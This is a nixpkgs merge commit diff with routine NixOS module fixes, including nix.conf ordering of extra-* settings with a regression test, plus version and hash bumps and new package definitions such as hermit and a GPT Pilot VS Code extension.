Merge master into staging-next

authored by github-actions[bot] and committed by GitHub 7006358e 00729a3d

+1293 -678
+6
maintainers/maintainer-list.nix
··· 12705 githubId = 635591; 12706 name = "Shahar Dawn Or"; 12707 }; 12708 mihnea-s = { 12709 email = "mihn.stn@gmail.com"; 12710 github = "mihnea-s";
··· 12705 githubId = 635591; 12706 name = "Shahar Dawn Or"; 12707 }; 12708 + mihaimaruseac = { 12709 + email = "mihaimaruseac@gmail.com"; 12710 + github = "mihaimaruseac"; 12711 + githubId = 323199; 12712 + name = "Mihai Maruseac"; 12713 + }; 12714 mihnea-s = { 12715 email = "mihn.stn@gmail.com"; 12716 github = "mihnea-s";
+8 -1
nixos/modules/config/nix.nix
··· 14 concatStringsSep 15 boolToString 16 escape 17 floatToString 18 getVersion 19 isBool 20 isDerivation 21 isFloat ··· 95 96 mkKeyValuePairs = attrs: concatStringsSep "\n" (mapAttrsToList mkKeyValue attrs); 97 98 in 99 pkgs.writeTextFile { 100 name = "nix.conf"; 101 text = '' 102 # WARNING: this file is generated from the nix.* options in 103 # your NixOS configuration, typically 104 # /etc/nixos/configuration.nix. Do not edit it! 105 - ${mkKeyValuePairs cfg.settings} 106 ${cfg.extraOptions} 107 ''; 108 checkPhase = lib.optionalString cfg.checkConfig (
··· 14 concatStringsSep 15 boolToString 16 escape 17 + filterAttrs 18 floatToString 19 getVersion 20 + hasPrefix 21 isBool 22 isDerivation 23 isFloat ··· 97 98 mkKeyValuePairs = attrs: concatStringsSep "\n" (mapAttrsToList mkKeyValue attrs); 99 100 + isExtra = key: hasPrefix "extra-" key; 101 + 102 in 103 pkgs.writeTextFile { 104 name = "nix.conf"; 105 + # workaround for https://github.com/NixOS/nix/issues/9487 106 + # extra-* settings must come after their non-extra counterpart 107 text = '' 108 # WARNING: this file is generated from the nix.* options in 109 # your NixOS configuration, typically 110 # /etc/nixos/configuration.nix. Do not edit it! 111 + ${mkKeyValuePairs (filterAttrs (key: value: !(isExtra key)) cfg.settings)} 112 + ${mkKeyValuePairs (filterAttrs (key: value: isExtra key) cfg.settings)} 113 ${cfg.extraOptions} 114 ''; 115 checkPhase = lib.optionalString cfg.checkConfig (
+2
nixos/modules/config/resolvconf.nix
··· 28 '' + optionalString cfg.useLocalResolver '' 29 # This hosts runs a full-blown DNS resolver. 30 name_servers='127.0.0.1' 31 '' + cfg.extraConfig; 32 33 in
··· 28 '' + optionalString cfg.useLocalResolver '' 29 # This hosts runs a full-blown DNS resolver. 30 name_servers='127.0.0.1' 31 + '' + optionalString (cfg.useLocalResolver && config.networking.enableIPv6) '' 32 + name_servers='::1' 33 '' + cfg.extraConfig; 34 35 in
+2 -1
nixos/modules/services/matrix/synapse.nix
··· 1232 ProtectKernelTunables = true; 1233 ProtectProc = "invisible"; 1234 ProtectSystem = "strict"; 1235 - ReadWritePaths = [ cfg.dataDir cfg.settings.media_store_path ]; 1236 RemoveIPC = true; 1237 RestrictAddressFamilies = [ "AF_INET" "AF_INET6" "AF_UNIX" ]; 1238 RestrictNamespaces = true;
··· 1232 ProtectKernelTunables = true; 1233 ProtectProc = "invisible"; 1234 ProtectSystem = "strict"; 1235 + ReadWritePaths = [ cfg.dataDir cfg.settings.media_store_path ] ++ 1236 + (map (listener: dirOf listener.path) (filter (listener: listener.path != null) cfg.settings.listeners)); 1237 RemoveIPC = true; 1238 RestrictAddressFamilies = [ "AF_INET" "AF_INET6" "AF_UNIX" ]; 1239 RestrictNamespaces = true;
+1
nixos/modules/services/misc/etebase-server.nix
··· 177 178 systemd.tmpfiles.rules = [ 179 "d '${cfg.dataDir}' - ${cfg.user} ${config.users.users.${cfg.user}.group} - -" 180 ]; 181 182 systemd.services.etebase-server = {
··· 177 178 systemd.tmpfiles.rules = [ 179 "d '${cfg.dataDir}' - ${cfg.user} ${config.users.users.${cfg.user}.group} - -" 180 + "d '${builtins.dirOf cfg.unixSocket}' - ${cfg.user} ${config.users.users.${cfg.user}.group} - -" 181 ]; 182 183 systemd.services.etebase-server = {
+1
nixos/tests/all-tests.nix
··· 613 nginx-variants = handleTest ./nginx-variants.nix {}; 614 nifi = handleTestOn ["x86_64-linux"] ./web-apps/nifi.nix {}; 615 nitter = handleTest ./nitter.nix {}; 616 nix-ld = handleTest ./nix-ld.nix {}; 617 nix-serve = handleTest ./nix-serve.nix {}; 618 nix-serve-ssh = handleTest ./nix-serve-ssh.nix {};
··· 613 nginx-variants = handleTest ./nginx-variants.nix {}; 614 nifi = handleTestOn ["x86_64-linux"] ./web-apps/nifi.nix {}; 615 nitter = handleTest ./nitter.nix {}; 616 + nix-config = handleTest ./nix-config.nix {}; 617 nix-ld = handleTest ./nix-ld.nix {}; 618 nix-serve = handleTest ./nix-serve.nix {}; 619 nix-serve-ssh = handleTest ./nix-serve-ssh.nix {};
+18
nixos/tests/nix-config.nix
···
··· 1 + import ./make-test-python.nix ({ pkgs, ... }: 2 + { 3 + name = "nix-config"; 4 + nodes.machine = { pkgs, ... }: { 5 + nix.settings = { 6 + nix-path = [ "nonextra=/etc/value.nix" ]; 7 + extra-nix-path = [ "extra=/etc/value.nix" ]; 8 + }; 9 + environment.etc."value.nix".text = "42"; 10 + }; 11 + testScript = '' 12 + start_all() 13 + machine.wait_for_unit("nix-daemon.socket") 14 + # regression test for the workaround for https://github.com/NixOS/nix/issues/9487 15 + print(machine.succeed("nix-instantiate --find-file extra")) 16 + print(machine.succeed("nix-instantiate --find-file nonextra")) 17 + ''; 18 + })
+19 -2
pkgs/applications/editors/vscode/extensions/default.nix
··· 409 mktplcRef = { 410 name = "vscode-neovim"; 411 publisher = "asvetliakov"; 412 - version = "1.5.0"; 413 - sha256 = "1glad9xmzq58jc7js8afjmqrxgd3rqm80fk528wv5kqcmn90bgk3"; 414 }; 415 meta = { 416 changelog = "https://marketplace.visualstudio.com/items/asvetliakov.vscode-neovim/changelog"; ··· 3325 description = "VSCode extension for syntax highlighting, formatting, auto-completion, jump-to-definition and linting for .prisma files"; 3326 downloadPage = "https://marketplace.visualstudio.com/items?itemName=Prisma.prisma"; 3327 homepage = "https://github.com/prisma/language-tools"; 3328 license = lib.licenses.asl20; 3329 maintainers = [ ]; 3330 };
··· 409 mktplcRef = { 410 name = "vscode-neovim"; 411 publisher = "asvetliakov"; 412 + version = "1.7.1"; 413 + sha256 = "0ib4sjk7r370ckvaqb4yzgy7csy8pli9z2jhibhhwwcq2748ah4q"; 414 }; 415 meta = { 416 changelog = "https://marketplace.visualstudio.com/items/asvetliakov.vscode-neovim/changelog"; ··· 3325 description = "VSCode extension for syntax highlighting, formatting, auto-completion, jump-to-definition and linting for .prisma files"; 3326 downloadPage = "https://marketplace.visualstudio.com/items?itemName=Prisma.prisma"; 3327 homepage = "https://github.com/prisma/language-tools"; 3328 + license = lib.licenses.asl20; 3329 + maintainers = [ ]; 3330 + }; 3331 + }; 3332 + 3333 + pythagoratechnologies.gpt-pilot-vs-code = buildVscodeMarketplaceExtension { 3334 + mktplcRef = { 3335 + name = "gpt-pilot-vs-code"; 3336 + publisher = "PythagoraTechnologies"; 3337 + version = "0.1.7"; 3338 + sha256 = "sha256-EUddanrB6h5cn3pK2JTkEPffVb06ZMI2qDPh0kFfJjA="; 3339 + }; 3340 + meta = { 3341 + changelog = "https://marketplace.visualstudio.com/items/PythagoraTechnologies.gpt-pilot-vs-code/changelog"; 3342 + description = "A VSCode extension for assisting the developer to code, debug, build applications using LLMs/AI"; 3343 + downloadPage = "https://marketplace.visualstudio.com/items?itemName=PythagoraTechnologies.gpt-pilot-vs-code"; 3344 + homepage = "https://github.com/Pythagora-io/gpt-pilot/"; 3345 license = lib.licenses.asl20; 3346 maintainers = [ ]; 3347 };
+3 -3
pkgs/applications/misc/cotp/default.nix
··· 8 9 rustPlatform.buildRustPackage rec { 10 pname = "cotp"; 11 - version = "1.4.5"; 12 13 src = fetchFromGitHub { 14 owner = "replydev"; 15 repo = "cotp"; 16 rev = "v${version}"; 17 - hash = "sha256-q0SI/y4pSNoU+4aQzpkUNioqrxmLxiA2GD1pmyLUISw="; 18 }; 19 20 - cargoHash = "sha256-pwhihmrFzb7y4ztXnzJVeMbo5VBoyjJTEDh5ogECLrA="; 21 22 buildInputs = lib.optionals stdenv.isLinux [ libxcb ] 23 ++ lib.optionals stdenv.isDarwin [ AppKit ];
··· 8 9 rustPlatform.buildRustPackage rec { 10 pname = "cotp"; 11 + version = "1.5.0"; 12 13 src = fetchFromGitHub { 14 owner = "replydev"; 15 repo = "cotp"; 16 rev = "v${version}"; 17 + hash = "sha256-Zs/RUpyu8GG4koprC+8aSzpPUSLc19p/XinY5fR5Z4A="; 18 }; 19 20 + cargoHash = "sha256-jYKu1sAzPUfv8gQj3V4zxarRj3XUhyD/5n1WqMuLF/g="; 21 22 buildInputs = lib.optionals stdenv.isLinux [ libxcb ] 23 ++ lib.optionals stdenv.isDarwin [ AppKit ];
+2 -2
pkgs/applications/misc/jetbrains-toolbox/default.nix
··· 9 }: 10 let 11 pname = "jetbrains-toolbox"; 12 - version = "2.2.2.20062"; 13 14 src = fetchzip { 15 url = "https://download.jetbrains.com/toolbox/jetbrains-toolbox-${version}.tar.gz"; 16 - sha256 = "sha256-wIO9QQa+YfNNqO5HlijVxBDOgVSsJhtGmfChKA8QpPo="; 17 stripRoot = false; 18 }; 19
··· 9 }: 10 let 11 pname = "jetbrains-toolbox"; 12 + version = "2.2.3.20090"; 13 14 src = fetchzip { 15 url = "https://download.jetbrains.com/toolbox/jetbrains-toolbox-${version}.tar.gz"; 16 + sha256 = "sha256-SqxQF5pG61CySsDzdZ1P2C9cCe/B145D0S+T4NByif8="; 17 stripRoot = false; 18 }; 19
+2 -2
pkgs/applications/networking/cluster/argocd/default.nix
··· 2 3 buildGoModule rec { 4 pname = "argocd"; 5 - version = "2.10.2"; 6 7 src = fetchFromGitHub { 8 owner = "argoproj"; 9 repo = "argo-cd"; 10 rev = "v${version}"; 11 - hash = "sha256-eFa2AXFVymi7et+fHTLgdiBUq6D8zK5DRg9Dqhxe4TE="; 12 }; 13 14 proxyVendor = true; # darwin/linux hash mismatch
··· 2 3 buildGoModule rec { 4 pname = "argocd"; 5 + version = "2.10.3"; 6 7 src = fetchFromGitHub { 8 owner = "argoproj"; 9 repo = "argo-cd"; 10 rev = "v${version}"; 11 + hash = "sha256-DaM3vNmZTz4zJTsmtgWwKPhHeUdqe2ZdlXYTppdhiJs="; 12 }; 13 14 proxyVendor = true; # darwin/linux hash mismatch
+3 -3
pkgs/applications/networking/cluster/clusterctl/default.nix
··· 2 3 buildGoModule rec { 4 pname = "clusterctl"; 5 - version = "1.6.2"; 6 7 src = fetchFromGitHub { 8 owner = "kubernetes-sigs"; 9 repo = "cluster-api"; 10 rev = "v${version}"; 11 - hash = "sha256-OTOM83dsf6Fk+CYkACQOmguDTYfZvN9qes3S/cFEq/8="; 12 }; 13 14 - vendorHash = "sha256-SwJx3KPdOugDYLLymPyrPam0uMyRWIDpQn79Sd9fhJ4="; 15 16 subPackages = [ "cmd/clusterctl" ]; 17
··· 2 3 buildGoModule rec { 4 pname = "clusterctl"; 5 + version = "1.6.3"; 6 7 src = fetchFromGitHub { 8 owner = "kubernetes-sigs"; 9 repo = "cluster-api"; 10 rev = "v${version}"; 11 + hash = "sha256-gyZxEzktbYtQSm1gm4wWJriMo/MjDdgaAxjA7J3jeQ0="; 12 }; 13 14 + vendorHash = "sha256-bMM4d1ji03bICsd6uBqu+0n4rB/SiKjtevQzV0DYHiE="; 15 16 subPackages = [ "cmd/clusterctl" ]; 17
+5 -5
pkgs/applications/networking/instant-messengers/mattermost-desktop/default.nix
··· 1 { lib 2 , stdenv 3 , fetchurl 4 - , electron_27 5 , makeWrapper 6 }: 7 8 let 9 10 pname = "mattermost-desktop"; 11 - version = "5.6.0"; 12 13 srcs = { 14 "x86_64-linux" = { 15 url = "https://releases.mattermost.com/desktop/${version}/${pname}-${version}-linux-x64.tar.gz"; 16 - hash = "sha256-KUF/zH18X+RS8AICBv53JTBpcaokzo92psyoQNmLF/Q="; 17 }; 18 19 "aarch64-linux" = { 20 url = "https://releases.mattermost.com/desktop/${version}/${pname}-${version}-linux-arm64.tar.gz"; 21 - hash = "sha256-Zl5PalAles39qSMtt1cytfu4Mheud4+8TTkt7Ohdf/o="; 22 }; 23 }; 24 ··· 52 substituteInPlace $out/share/applications/Mattermost.desktop \ 53 --replace /share/mattermost-desktop/mattermost-desktop /bin/mattermost-desktop 54 55 - makeWrapper '${lib.getExe electron_27}' $out/bin/${pname} \ 56 --add-flags $out/share/${pname}/app.asar 57 58 runHook postInstall
··· 1 { lib 2 , stdenv 3 , fetchurl 4 + , electron_28 5 , makeWrapper 6 }: 7 8 let 9 10 pname = "mattermost-desktop"; 11 + version = "5.7.0"; 12 13 srcs = { 14 "x86_64-linux" = { 15 url = "https://releases.mattermost.com/desktop/${version}/${pname}-${version}-linux-x64.tar.gz"; 16 + hash = "sha256-1xfU9+VzjhSVWsP1AYizphhQ2010GbQBgQ4dxvY3TBU="; 17 }; 18 19 "aarch64-linux" = { 20 url = "https://releases.mattermost.com/desktop/${version}/${pname}-${version}-linux-arm64.tar.gz"; 21 + hash = "sha256-RrH+R9IuokKK+zfmCmOt38hD1HvWJbKqmxTFhQ3RcqQ="; 22 }; 23 }; 24 ··· 52 substituteInPlace $out/share/applications/Mattermost.desktop \ 53 --replace /share/mattermost-desktop/mattermost-desktop /bin/mattermost-desktop 54 55 + makeWrapper '${lib.getExe electron_28}' $out/bin/${pname} \ 56 --add-flags $out/share/${pname}/app.asar 57 58 runHook postInstall
+5 -5
pkgs/applications/networking/instant-messengers/webcord/default.nix
··· 7 , libpulseaudio 8 , libnotify 9 , xdg-utils 10 - , electron_28 11 , makeDesktopItem 12 , nix-update-script 13 }: 14 15 buildNpmPackage rec { 16 pname = "webcord"; 17 - version = "4.7.1"; 18 19 src = fetchFromGitHub { 20 owner = "SpacingBat3"; 21 repo = "WebCord"; 22 rev = "v${version}"; 23 - hash = "sha256-JzKXIdXR/C3HRbpmSUq3qXYpLnVQjIY/uO+wbt1k2jI="; 24 }; 25 26 - npmDepsHash = "sha256-KbMoM1zYOjX2Dwu6DJZLyezRx78AC9piPw3xsX3Kb3I="; 27 28 nativeBuildInputs = [ 29 copyDesktopItems ··· 61 install -Dm644 sources/assets/icons/app.png $out/share/icons/hicolor/256x256/apps/webcord.png 62 63 # Add xdg-utils to path via suffix, per PR #181171 64 - makeWrapper '${lib.getExe electron_28}' $out/bin/webcord \ 65 --prefix LD_LIBRARY_PATH : ${libPath}:$out/opt/webcord \ 66 --suffix PATH : "${binPath}" \ 67 --add-flags "\''${NIXOS_OZONE_WL:+\''${WAYLAND_DISPLAY:+--ozone-platform-hint=auto --enable-features=WaylandWindowDecorations}}" \
··· 7 , libpulseaudio 8 , libnotify 9 , xdg-utils 10 + , electron_29 11 , makeDesktopItem 12 , nix-update-script 13 }: 14 15 buildNpmPackage rec { 16 pname = "webcord"; 17 + version = "4.8.0"; 18 19 src = fetchFromGitHub { 20 owner = "SpacingBat3"; 21 repo = "WebCord"; 22 rev = "v${version}"; 23 + hash = "sha256-x9Ejb8yxgQhlEfUUfoqbgSffNNtOoFeAyb3OISR+Jz4="; 24 }; 25 26 + npmDepsHash = "sha256-7H4I4vKygMgsPh+OvZZGhpkoQQu1a51yUTwEPJSBM18="; 27 28 nativeBuildInputs = [ 29 copyDesktopItems ··· 61 install -Dm644 sources/assets/icons/app.png $out/share/icons/hicolor/256x256/apps/webcord.png 62 63 # Add xdg-utils to path via suffix, per PR #181171 64 + makeWrapper '${lib.getExe electron_29}' $out/bin/webcord \ 65 --prefix LD_LIBRARY_PATH : ${libPath}:$out/opt/webcord \ 66 --suffix PATH : "${binPath}" \ 67 --add-flags "\''${NIXOS_OZONE_WL:+\''${WAYLAND_DISPLAY:+--ozone-platform-hint=auto --enable-features=WaylandWindowDecorations}}" \
+2 -2
pkgs/applications/science/biology/minimap2/default.nix
··· 2 3 stdenv.mkDerivation rec { 4 pname = "minimap2"; 5 - version = "2.26"; 6 7 src = fetchFromGitHub { 8 repo = pname; 9 owner = "lh3"; 10 rev = "v${version}"; 11 - sha256 = "sha256-vK8Z/j6Ndu1vMFYPPzViP4evtIhyVVFwsfTqNCYnXpQ="; 12 }; 13 14 buildInputs = [ zlib ];
··· 2 3 stdenv.mkDerivation rec { 4 pname = "minimap2"; 5 + version = "2.27"; 6 7 src = fetchFromGitHub { 8 repo = pname; 9 owner = "lh3"; 10 rev = "v${version}"; 11 + sha256 = "sha256-F6IJrYD2dk+5bKKVIahLiNnD/Hd/CjNQQd9zz0Gkans="; 12 }; 13 14 buildInputs = [ zlib ];
+3 -3
pkgs/by-name/at/atuin/package.nix
··· 36 37 buildInputs = lib.optionals stdenv.isDarwin [ 38 libiconv 39 - darwin.apple_sdk.frameworks.AppKit 40 - darwin.apple_sdk.frameworks.Security 41 - darwin.apple_sdk.frameworks.SystemConfiguration 42 ]; 43 44 postInstall = ''
··· 36 37 buildInputs = lib.optionals stdenv.isDarwin [ 38 libiconv 39 + darwin.apple_sdk_11_0.frameworks.AppKit 40 + darwin.apple_sdk_11_0.frameworks.Security 41 + darwin.apple_sdk_11_0.frameworks.SystemConfiguration 42 ]; 43 44 postInstall = ''
+3 -3
pkgs/by-name/ez/eza/package.nix
··· 17 18 rustPlatform.buildRustPackage rec { 19 pname = "eza"; 20 - version = "0.18.6"; 21 22 src = fetchFromGitHub { 23 owner = "eza-community"; 24 repo = "eza"; 25 rev = "v${version}"; 26 - hash = "sha256-xdMoOGOHbGNRouVbJewQ1bWJbd7nusq3H7mXDC4AIXU="; 27 }; 28 29 - cargoHash = "sha256-IM1dxTaFa5kq94pn6QQrUGg6fZWhBZsf4ZND42BPVag="; 30 31 nativeBuildInputs = [ cmake pkg-config installShellFiles pandoc ]; 32 buildInputs = [ zlib ]
··· 17 18 rustPlatform.buildRustPackage rec { 19 pname = "eza"; 20 + version = "0.18.7"; 21 22 src = fetchFromGitHub { 23 owner = "eza-community"; 24 repo = "eza"; 25 rev = "v${version}"; 26 + hash = "sha256-f9EvVWu+WlBm9Q+OzzMoXOGGLJp5DKdC13tPk4JStf4="; 27 }; 28 29 + cargoHash = "sha256-ItML58+OMyt6qmxK1w0Tb4sqwXxIhXLih1NThRXdbi4="; 30 31 nativeBuildInputs = [ cmake pkg-config installShellFiles pandoc ]; 32 buildInputs = [ zlib ]
+34
pkgs/by-name/he/hermitcli/package.nix
···
··· 1 + { buildGoModule 2 + , fetchFromGitHub 3 + , lib 4 + }: 5 + 6 + buildGoModule rec { 7 + pname = "hermit"; 8 + version = "0.38.2"; 9 + 10 + src = fetchFromGitHub { 11 + rev = "v${version}"; 12 + owner = "cashapp"; 13 + repo = "hermit"; 14 + hash = "sha256-cBVTIpY85lrKJ1bX1mIlUW1oWEHgg8wjdUh+0FHUp80="; 15 + }; 16 + 17 + vendorHash = "sha256-W8n7WA1gHx73jHF69apoKnDCIKlbWkj5f1wVITt7F+M="; 18 + 19 + subPackages = [ "cmd/hermit" ]; 20 + 21 + ldflags = [ 22 + "-X main.version=${version}" 23 + "-X main.channel=stable" 24 + ]; 25 + 26 + meta = with lib; { 27 + homepage = "https://cashapp.github.io/hermit"; 28 + description = "Manages isolated, self-bootstrapping sets of tools in software projects."; 29 + license = licenses.asl20; 30 + maintainers = with maintainers; [ cbrewster ]; 31 + platforms = platforms.unix; 32 + mainProgram = "hermit"; 33 + }; 34 + }
+8 -8
pkgs/by-name/im/impression/package.nix
··· 20 , pango 21 }: 22 23 - stdenv.mkDerivation rec { 24 pname = "impression"; 25 - version = "3.0.1"; 26 27 src = fetchFromGitLab { 28 owner = "adhami3310"; 29 repo = "Impression"; 30 - rev = "v${version}"; 31 - hash = "sha256-xxPclDjHdXWo43cwvSuF9MpNlMTJANNXScLY1mkQTqY="; 32 }; 33 34 cargoDeps = rustPlatform.fetchCargoTarball { 35 - inherit src; 36 - name = "${pname}-${version}"; 37 - hash = "sha256-LDYckpKwNvkIdpPijTRIZPNfb4d9MZzxVFdSXarhFl0="; 38 }; 39 40 nativeBuildInputs = [ ··· 68 maintainers = with lib.maintainers; [ dotlambda ]; 69 platforms = lib.platforms.linux; 70 }; 71 - }
··· 20 , pango 21 }: 22 23 + stdenv.mkDerivation (finalAttrs: { 24 pname = "impression"; 25 + version = "3.1.0"; 26 27 src = fetchFromGitLab { 28 owner = "adhami3310"; 29 repo = "Impression"; 30 + rev = "v${finalAttrs.version}"; 31 + hash = "sha256-5hBpe8D3DVXP6Hq5L4OUL9rCml0MoLdK7uZzbIIkNh0="; 32 }; 33 34 cargoDeps = rustPlatform.fetchCargoTarball { 35 + inherit (finalAttrs) src; 36 + name = "${finalAttrs.pname}-${finalAttrs.version}"; 37 + hash = "sha256-lbpbggf4DEjpXJ52aM7qNd01XCEY3xj8dKGMfCZ9i3A="; 38 }; 39 40 nativeBuildInputs = [ ··· 68 maintainers = with lib.maintainers; [ dotlambda ]; 69 platforms = lib.platforms.linux; 70 }; 71 + })
+2 -2
pkgs/by-name/ll/llama-cpp/package.nix
··· 69 in 70 effectiveStdenv.mkDerivation (finalAttrs: { 71 pname = "llama-cpp"; 72 - version = "2382"; 73 74 src = fetchFromGitHub { 75 owner = "ggerganov"; 76 repo = "llama.cpp"; 77 rev = "refs/tags/b${finalAttrs.version}"; 78 - hash = "sha256-VIh9StxfZrweOh6IU2MDJRFVu7TelngHGw7enSx5tL4="; 79 }; 80 81 postPatch = ''
··· 69 in 70 effectiveStdenv.mkDerivation (finalAttrs: { 71 pname = "llama-cpp"; 72 + version = "2424"; 73 74 src = fetchFromGitHub { 75 owner = "ggerganov"; 76 repo = "llama.cpp"; 77 rev = "refs/tags/b${finalAttrs.version}"; 78 + hash = "sha256-nzO6qL7X8PwGgy3fZAwQHoPBWLXorWf9kBeEWZCm1ZM="; 79 }; 80 81 postPatch = ''
+21 -28
pkgs/by-name/pe/pest/composer.lock
··· 4 "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", 5 "This file is @generated automatically" 6 ], 7 - "content-hash": "886ef4e19557e54720685cf5af4bfcba", 8 "packages": [ 9 { 10 "name": "brianium/paratest", ··· 1437 }, 1438 { 1439 "name": "phpunit/phpunit", 1440 - "version": "10.5.12", 1441 "source": { 1442 "type": "git", 1443 "url": "https://github.com/sebastianbergmann/phpunit.git", 1444 - "reference": "41a9886b85ac7bf3929853baf96b95361cd69d2b" 1445 }, 1446 "dist": { 1447 "type": "zip", 1448 - "url": "https://api.github.com/repos/sebastianbergmann/phpunit/zipball/41a9886b85ac7bf3929853baf96b95361cd69d2b", 1449 - "reference": "41a9886b85ac7bf3929853baf96b95361cd69d2b", 1450 "shasum": "" 1451 }, 1452 "require": { ··· 1518 "support": { 1519 "issues": "https://github.com/sebastianbergmann/phpunit/issues", 1520 "security": "https://github.com/sebastianbergmann/phpunit/security/policy", 1521 - "source": "https://github.com/sebastianbergmann/phpunit/tree/10.5.12" 1522 }, 1523 "funding": [ 1524 { ··· 1534 "type": "tidelift" 1535 } 1536 ], 1537 - "time": "2024-03-09T12:04:07+00:00" 1538 }, 1539 { 1540 "name": "psr/container", ··· 3787 }, 3788 { 3789 "name": "phpstan/phpstan", 3790 - "version": "1.10.60", 3791 "source": { 3792 "type": "git", 3793 "url": "https://github.com/phpstan/phpstan.git", 3794 - "reference": "95dcea7d6c628a3f2f56d091d8a0219485a86bbe" 3795 }, 3796 "dist": { 3797 "type": "zip", 3798 - "url": "https://api.github.com/repos/phpstan/phpstan/zipball/95dcea7d6c628a3f2f56d091d8a0219485a86bbe", 3799 - "reference": "95dcea7d6c628a3f2f56d091d8a0219485a86bbe", 3800 "shasum": "" 3801 }, 3802 "require": { ··· 3845 "type": "tidelift" 3846 } 3847 ], 3848 - "time": "2024-03-07T13:30:19+00:00" 3849 }, 3850 { 3851 "name": "phpstan/phpstan-strict-rules", ··· 4220 }, 4221 { 4222 "name": "tomasvotruba/type-coverage", 4223 - "version": "0.2.3", 4224 "source": { 4225 "type": "git", 4226 "url": "https://github.com/TomasVotruba/type-coverage.git", 4227 - "reference": "213ef9cfcdcb1472c5e1a1d7c3c99d39347433f7" 4228 }, 4229 "dist": { 4230 "type": "zip", 4231 - "url": "https://api.github.com/repos/TomasVotruba/type-coverage/zipball/213ef9cfcdcb1472c5e1a1d7c3c99d39347433f7", 4232 - "reference": "213ef9cfcdcb1472c5e1a1d7c3c99d39347433f7", 4233 "shasum": "" 4234 }, 4235 "require": { 4236 - "php": "^8.2", 4237 - "phpstan/phpstan": "^1.10.60" 4238 - }, 4239 - "require-dev": { 4240 - "phpstan/extension-installer": "^1.3", 4241 - "phpunit/phpunit": "^10.5", 4242 - "rector/rector": "^1.0.2", 4243 - "symplify/easy-coding-standard": "^12.1", 4244 - "tomasvotruba/unused-public": "^0.2", 4245 - "tracy/tracy": "^2.10" 4246 }, 4247 "type": "phpstan-extension", 4248 "extra": { ··· 4268 ], 4269 "support": { 4270 "issues": "https://github.com/TomasVotruba/type-coverage/issues", 4271 - "source": "https://github.com/TomasVotruba/type-coverage/tree/0.2.3" 4272 }, 4273 "funding": [ 4274 { ··· 4280 "type": "github" 4281 } 4282 ], 4283 - "time": "2024-03-08T18:25:10+00:00" 4284 } 4285 ], 4286 "aliases": [],
··· 4 "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", 5 "This file is @generated automatically" 6 ], 7 + "content-hash": "3334c385a76e74a9e5a3cc6af8daed8e", 8 "packages": [ 9 { 10 "name": "brianium/paratest", ··· 1437 }, 1438 { 1439 "name": "phpunit/phpunit", 1440 + "version": "10.5.13", 1441 "source": { 1442 "type": "git", 1443 "url": "https://github.com/sebastianbergmann/phpunit.git", 1444 + "reference": "20a63fc1c6db29b15da3bd02d4b6cf59900088a7" 1445 }, 1446 "dist": { 1447 "type": "zip", 1448 + "url": "https://api.github.com/repos/sebastianbergmann/phpunit/zipball/20a63fc1c6db29b15da3bd02d4b6cf59900088a7", 1449 + "reference": "20a63fc1c6db29b15da3bd02d4b6cf59900088a7", 1450 "shasum": "" 1451 }, 1452 "require": { ··· 1518 "support": { 1519 "issues": "https://github.com/sebastianbergmann/phpunit/issues", 1520 "security": "https://github.com/sebastianbergmann/phpunit/security/policy", 1521 + "source": "https://github.com/sebastianbergmann/phpunit/tree/10.5.13" 1522 }, 1523 "funding": [ 1524 { ··· 1534 "type": "tidelift" 1535 } 1536 ], 1537 + "time": "2024-03-12T15:37:41+00:00" 1538 }, 1539 { 1540 "name": "psr/container", ··· 3787 }, 3788 { 3789 "name": "phpstan/phpstan", 3790 + "version": "1.10.62", 3791 "source": { 3792 "type": "git", 3793 "url": "https://github.com/phpstan/phpstan.git", 3794 + "reference": "cd5c8a1660ed3540b211407c77abf4af193a6af9" 3795 }, 3796 "dist": { 3797 "type": "zip", 3798 + "url": "https://api.github.com/repos/phpstan/phpstan/zipball/cd5c8a1660ed3540b211407c77abf4af193a6af9", 3799 + "reference": "cd5c8a1660ed3540b211407c77abf4af193a6af9", 3800 "shasum": "" 3801 }, 3802 "require": { ··· 3845 "type": "tidelift" 3846 } 3847 ], 3848 + "time": "2024-03-13T12:27:20+00:00" 3849 }, 3850 { 3851 "name": "phpstan/phpstan-strict-rules", ··· 4220 }, 4221 { 4222 "name": "tomasvotruba/type-coverage", 4223 + "version": "0.2.4", 4224 "source": { 4225 "type": "git", 4226 "url": "https://github.com/TomasVotruba/type-coverage.git", 4227 + "reference": "47f75151c3b3c4e040e0c68d9bba47597bf5ad6f" 4228 }, 4229 "dist": { 4230 "type": "zip", 4231 + "url": "https://api.github.com/repos/TomasVotruba/type-coverage/zipball/47f75151c3b3c4e040e0c68d9bba47597bf5ad6f", 4232 + "reference": "47f75151c3b3c4e040e0c68d9bba47597bf5ad6f", 4233 "shasum": "" 4234 }, 4235 "require": { 4236 + "nette/utils": "^3.2 || ^4.0", 4237 + "php": "^7.2 || ^8.0", 4238 + "phpstan/phpstan": "^1.9.3" 4239 }, 4240 "type": "phpstan-extension", 4241 "extra": { ··· 4261 ], 4262 "support": { 4263 "issues": "https://github.com/TomasVotruba/type-coverage/issues", 4264 + "source": "https://github.com/TomasVotruba/type-coverage/tree/0.2.4" 4265 }, 4266 "funding": [ 4267 { ··· 4273 "type": "github" 4274 } 4275 ], 4276 + "time": "2024-03-15T11:34:50+00:00" 4277 } 4278 ], 4279 "aliases": [],
+4 -3
pkgs/by-name/pe/pest/package.nix
··· 2 3 php.buildComposerProject (finalAttrs: { 4 pname = "pest"; 5 - version = "2.34.2"; 6 7 src = fetchFromGitHub { 8 owner = "pestphp"; 9 repo = "pest"; 10 rev = "v${finalAttrs.version}"; 11 - hash = "sha256-tVNF2oC/fLnX10ER9qmWJxMQ/RU9UUQtEi7b1xe094o="; 12 }; 13 14 composerLock = ./composer.lock; 15 - vendorHash = "sha256-bFwIRcCqeWcsFsD6wFD+XNe3IMGE3hMg7AU7XaqwtT4="; 16 17 meta = { 18 changelog = "https://github.com/pestphp/pest/releases/tag/v${finalAttrs.version}";
··· 2 3 php.buildComposerProject (finalAttrs: { 4 pname = "pest"; 5 + version = "2.34.4"; 6 7 src = fetchFromGitHub { 8 owner = "pestphp"; 9 repo = "pest"; 10 rev = "v${finalAttrs.version}"; 11 + hash = "sha256-/Ygm/jb08t+0EG4KHM2utAavka28VzmjVU/uXODMFvI="; 12 }; 13 14 composerLock = ./composer.lock; 15 + 16 + vendorHash = "sha256-RDTmNfXD8Lk50i7dY09JNUgg8hcEM0dtwJnh8UpHgQ4="; 17 18 meta = { 19 changelog = "https://github.com/pestphp/pest/releases/tag/v${finalAttrs.version}";
+19 -21
pkgs/by-name/ry/ryujinx/deps.nix
